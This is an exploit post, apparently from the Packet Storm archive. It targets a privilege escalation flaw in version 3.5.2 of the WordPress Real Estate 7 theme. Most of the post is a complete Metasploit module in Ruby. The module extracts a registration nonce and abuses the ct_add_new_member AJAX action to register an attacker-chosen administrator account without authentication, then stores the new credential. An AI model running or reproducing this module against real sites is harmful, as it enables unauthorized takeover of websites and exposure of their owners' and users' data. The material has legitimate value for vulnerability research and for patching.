Share
## https://sploitus.com/exploit?id=PACKETSTORM:216515
=============================================================================================================================================
    | # Title     : WordPress Real Estate 7 3.5.2 User Registration Privilege Escalation via ct_add_new_member AJAX Action                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://mhthemes.com/wp-themes/wp-pro-real-estate-7-wordpress-theme/                                                        |
    =============================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary scanner module targets a privilege escalation vulnerability in certain WordPress installations. 
                      The flaw allows unauthenticated attackers to register a new user account with administrator privileges by abusing the ct_add_new_member AJAX action.
    
    [+] The module works by: Initial Probe Sending a request to the WordPress registration page to detect the presence of vulnerable components such as:
    
    ct_add_new_member
    
    ct_register_nonce
    
    [+] Nonce Extraction Parsing the registration page using flexible regular expressions to extract a valid registration nonce.
    
    [+] Privilege Escalation Attempt Submitting a crafted POST request to /wp-admin/admin-ajax.php with:
    
    ct_user_role set to administrator
    
    The extracted nonce
    
    Attacker-controlled username, email, and password
    
    [+] Strict Success Validation Verifying exploitation success by:
    
    Checking for HTTP 200 response
    
    Ensuring Content-Type includes application/json
    
    Parsing JSON response and validating multiple success patterns (true, "true", 1)
    
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'json'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress User Registration Privilege Escalation',
            'Description' => %q{
              Exploits a vulnerability in WordPress allowing administrator registration
              via the 'ct_add_new_member' AJAX action.
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2024-01-01',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
            OptString.new('USERNAME_PREFIX', [true, 'Prefix for generated usernames', 'wp_admin_']),
            OptString.new('PASSWORD', [true, 'Password for the new user', 'P@ssw0rd123!']),
          ]
        )
      end
    
      def run_host(ip)
        username = "#{datastore['USERNAME_PREFIX']}#{Rex::Text.rand_text_alpha(5).downcase}"
        email = "#{username}@example.com"
        password = datastore['PASSWORD']
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'register'),
          'method' => 'GET'
        })
    
        return unless res && res.code == 200
        unless res.body =~ /ct_add_new_member|ct_register_nonce/i
          vprint_error("#{ip} - Target does not appear to have the vulnerable component.")
          return
        end
    
        nonce = extract_nonce(res.body)
        unless nonce
          vprint_error("#{ip} - Nonce not found (Registration might be disabled or hidden)")
          return
        end
    
        print_status("#{ip} - Found nonce: #{nonce}. Registering admin: #{username}")
        exploit_res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
          'method' => 'POST',
          'vars_post' => {
            'action'               => 'ct_add_new_member',
            'ct_user_login'        => username,
            'ct_user_email'        => email,
            'ct_user_pass'         => password,
            'ct_user_pass_confirm' => password,
            'ct_user_role'         => 'administrator',
            'ct_register_nonce'    => nonce,
            'ct_user_terms'        => 'on'
          }
        })
    
        if exploit_res && exploit_res.code == 200
          return unless exploit_res.headers['Content-Type']&.include?('json')
    
          begin
            json = JSON.parse(exploit_res.body)
            if json['success'] == true || json['success'].to_s == 'true' || json['success'].to_i == 1
              print_good("#{ip} - SUCCESS! Admin account created.")
              report_admin_cred(ip, username, password)
            else
              vprint_error("#{ip} - Failed: #{json['data'] || json['message'] || 'Unknown error'}")
            end
          rescue JSON::ParserError
            vprint_error("#{ip} - Response was not valid JSON.")
          end
        end
      end
    
      def extract_nonce(body)
        patterns = [
          /<input[^>]+(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["'][^>]*value=["']([A-Za-z0-9_-]+)["']/im,
          /<input[^>]+value=["']([A-Za-z0-9_-]+)["'][^>]*(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["']/im
        ]
    
        patterns.each do |pattern|
          return $1 if body =~ pattern
        end
        nil
      end
    
      def report_admin_cred(ip, user, pass)
        service_data = {
          address: ip,
          port: rport,
          protocol: 'tcp',
          service_name: (ssl ? 'https' : 'http'),
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: self.fullname,
          private_type: :password,
          private_data: pass,
          username: user,
          realm_key: Metasploit::Model::Realm::Key::HTTP_HOST,
          realm_value: ip
        }.merge(service_data)
    
        credential_core = create_credential(credential_data)
    
        create_credential_login({
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
        }.merge(service_data))
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================